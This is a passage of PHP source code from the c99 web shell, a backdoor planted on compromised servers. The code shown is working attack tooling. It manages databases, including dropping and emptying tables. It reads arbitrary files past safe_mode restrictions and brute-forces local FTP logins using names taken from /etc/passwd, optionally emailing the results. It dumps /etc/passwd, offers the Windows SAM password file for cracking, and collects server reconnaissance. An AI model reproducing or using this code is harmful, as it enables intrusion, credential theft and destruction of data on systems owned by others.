$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo "<form method=\"POST\"><input type=hidden name=\'sql_tbl_act\' value=\'insert\'><input type=hidden name=\'sql_tbl_insert_q\' value=\'".urlencode($sql_tbl_insert_q)."\'><input type=hidden name=\'sql_tbl_ls\' value=\'".$sql_tbl_ls."\'><input type=hidden name=\'sql_tbl_le\' value=\'".$sql_tbl_le."\'><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"act\" value=\"sql\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
foreach ($tbl_struct_fields as $field)
{
$name = $field["Field"];
if (empty($sql_tbl_insert_q)) {$v = "";}
echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
$i++;
}
echo "</table><br>";
echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo "<hr size=\"1\" noshade>";
$b = 0;
for($i=0;$i<$numpages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.thistbl.value=\'1\';document.sql.sql_order.value=\'".htmlspecialchars($sql_order)."\';document.sql.sql_tbl_ls.value=\'".($i*$perpage)."\';document.sql.sql_tbl_le.value=\'".($i*$perpage+$perpage)."\';document.sql.submit();\"><u>";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "<form method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
for ($i=0;$i<mysql_num_fields($result);$i++)
{
$v = mysql_field_name($result,$i);
if ($e[0] == "a") {$s = "d"; $m = "asc";}
else {$s = "a"; $m = "desc";}
echo "<td>";
if (empty($e[0])) {$e[0] = "a";}
if ($e[1] != $v) {$sql_order="";$sql_order=$e[0]." ".$v;echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_order.value=\'".$sql_order."\';document.sql.sql_tbl_ls.value=\'".$sql_tbl_ls."\';document.sql.sql_tbl_le.value=\'".$sql_tbl_le."\';document.sql.submit();\"><b>".$v."</b></a>";}
else {echo "<b>".$v."</b> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_order.value=\'".$s."%20".$v."\';document.sql.sql_tbl_ls.value=\'".$sql_tbl_ls."\';document.sql.sql_tbl_le.value=\'".$sql_tbl_le."\';document.sql.submit();\"><font color=red>\/</font></a>";}
echo "</td>";
}
echo "<td><font color=\"green\"><b>Action</b></font></td>";
echo "</tr>";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
echo "<tr>";
$w = "";
$i = 0;
foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}
if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
$i = 0;
foreach ($row as $k=>$v)
{
$v = htmlspecialchars($v);
if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
echo "<td>".$v."</td>";
$i++;
}
echo "<td>";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_act.value=\'query\';document.sql.sql_query.value=\'".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_tbl_ls.value=\'".$sql_tbl_ls."\';document.sql.sql_tbl_le.value=\'".$sql_tbl_le."\';document.sql.submit();\"><b>DEL</b></a> ";
echo "<a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl_act.value=\'insert\';document.sql.sql_tbl_insert_q.value=\'".urlencode($w)."\';document.sql.sql_tbl.value=\'".urlencode($sql_tbl)."\';document.sql.sql_tbl_ls.value=\'".$sql_tbl_ls."\';document.sql.sql_tbl_le.value=\'".$sql_tbl_le."\';document.sql.submit();\"><b>EDIT</b></a> ";
echo "</td>";
echo "</tr>";
}
mysql_free_result($result);
echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"deleterow\">Delete</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "<br><form method=\"POST\"><input name=\'act\' type=\'hidden\' value=\'sql\'><input name=\'sql_login\' type=\'hidden\' value=\'".$sql_login."\'><input name=\'sql_server\' type=\'hidden\' value=\'".$sql_server."\'><input name=\'sql_port\' type=\'hidden\' value=\'".$sql_port."\'><input name=\'sql_db\' type=\'hidden\' value=\'".$sql_db."\'><input name=\'sql_passwd\' type=\'hidden\' value=\'".$sql_passwd."\'><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
$tsize += $row["Data_length"];
$trows += $row["Rows"];
$size = view_size($row["Data_length"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
echo "<td> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.sql_tbl.value=\'".urlencode($row["Name"])."\';document.sql.submit();\"><b>".$row["Name"]."</b></a> </td>";
echo "<td>".$row["Rows"]."</td>";
echo "<td>".$row["Type"]."</td>";
echo "<td>".$row["Create_time"]."</td>";
echo "<td>".$row["Update_time"]."</td>";
echo "<td>".$size."</td>";
echo "<td> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_act.value=\'query\';document.sql.sql_query.value=\'".urlencode("DELETE FROM `".$row["Name"]."`")."\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.submit();\"><b>EMPT</b></a> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_act.value=\'query\';document.sql.sql_query.value=\'".urlencode("DROP TABLE `".$row["Name"]."`")."\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.submit();\"><b>DROP</b></a> <a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_tbl.value=\'".$row["Name"]."\';document.sql.sql_tbl_act.value=\'insert\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_db.value=\'".urlencode($sql_db)."\';document.sql.submit();\"><b>INS</b></a> </td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b></b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else
{
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form method="POST"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_act))
{
echo "<hr size=\"1\" noshade>";
if ($sql_act == "newdb")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can\'t create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"#\" onclick=\"document.sql.act.value=\'sql\';document.sql.sql_login.value=\'".htmlspecialchars($sql_login)."\';document.sql.sql_passwd.value=\'".htmlspecialchars($sql_passwd)."\';document.sql.sql_server.value=\'".htmlspecialchars($sql_server)."\';document.sql.sql_port.value=\'".htmlspecialchars($sql_port)."\';document.sql.sql_act.value=\'processes\';document.sql.kill.value=\'".$row[0]."\';document.sql.submit();\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo "<br><br>";
}
$act = $dspact = "ls";
}
if ($act == "ftpquickbrute")
{
echo "<b>Ftp Quick brute:</b><br>";
if (!win) {echo "This functions not work in Windows!<br><br>";}
else
{
function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
{
if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
else {$TRUE = TRUE;}
if ($TRUE)
{
$sock = @ftp_connect($host,$port,$timeout);
if (@ftp_login($sock,$login,$pass))
{
echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
ob_flush();
return TRUE;
}
}
}
if (!empty($submit))
{
if (isset($_POST[\'fqb_lenght\'])) $fqb_lenght = $_POST[\'fqb_lenght\'];
if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
$fp = fopen("/etc/passwd","r");
if (!$fp) {echo "Can\'t get /etc/passwd for password-list.";}
else
{
if (isset($_POST[\'fqb_logging\'])) $fqb_logging = $_POST[\'fqb_logging\'];
if ($fqb_logging)
{
if (isset($_POST[\'fqb_logfile\'])) $fqb_logging = $_POST[\'fqb_logfile\'];
if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
else {$fqb_logfp = FALSE;}
$fqb_log = "FTP Quick Brute (called c99madshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."
";
if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
}
ob_flush();
$i = $success = 0;
$ftpquick_st = getmicrotime();
while(!feof($fp))
{
$str = explode(":",fgets($fp,2048));
if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
{
echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
$success++;
ob_flush();
}
if ($i > $fqb_lenght) {break;}
$i++;
}
if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}
$ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
$fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
fclose($fqb_logfp);
}
}
else
{
$logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
echo "<form method=\"POST\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
}
}
}
if ($act == "d")
{
if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
else
{
echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
//$ow = posix_getpwuid(fileowner($d));
//$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value=\'chmod\';document.todo.d.value=\'".urlencode($d)."\';document.todo.submit();\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
}
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
if ($act == "security")
{
echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "<b>*nix /etc/passwd:</b><br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form method=\"POST\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir"] = "<a href=\"#\" onclick=\"document.todo.act.value=\'ls\';document.todo.d.value=\'".urlencode($uid["dir"])."\';document.todo.submit();\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<br><a href=\"#\" onclick=\"document.todo.act.value=\'security\';document.todo.d.value=\'".$ud."\';document.todo.nixpasswd.value=\'1\';document.todo.submit();\"><b><u>Get /etc/passwd</u></b></a><br>";}
}
else
{
$v = $_SERVER["WINDIR"]."
epair\sam";
if (file_get_contents($v)) {echo "<b><font color=red>You can\'t crack winnt passwords(".$v.") </font></b><br>";}
else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'sam\';document.todo.d.value=\'".$_SERVER["WINDIR"]."\/repair\';document.todo.ft.value=\'download\';document.todo.submit();\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";}
}
if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'userdomains\';document.todo.d.value=\'".urlencode("/etc")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'accounting.log\';document.todo.d.value=\'".urlencode("/var/cpanel/")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>View cpanel logs</b></u></a></font></b><br>";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'httpd.conf\';document.todo.d.value=\'".urlencode("/usr/local/apache/conf")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'httpd.conf\';document.todo.d.value=\'".urlencode("/etc")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'syslog.conf\';document.todo.d.value=\'".urlencode("/etc")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'motd\';document.todo.d.value=\'".urlencode("/etc")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"#\" onclick=\"document.todo.act.value=\'f\';document.todo.f.value=\'hosts\';document.todo.d.value=\'".urlencode("/etc")."\';document.todo.ft.value=\'txt\';document.todo.submit();\"><u><b>Hosts</b></u></a></font></b><br>";}
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
displaysecinfo("Is cURL installed?",myshellexec("which curl"));
displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
displaysecinfo("Is links installed?",myshellexec("which links"));
displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
displaysecinfo("Is GET installed?",myshellexec("which GET"));
displaysecinfo("Is perl installed?",myshellexec("which perl"));
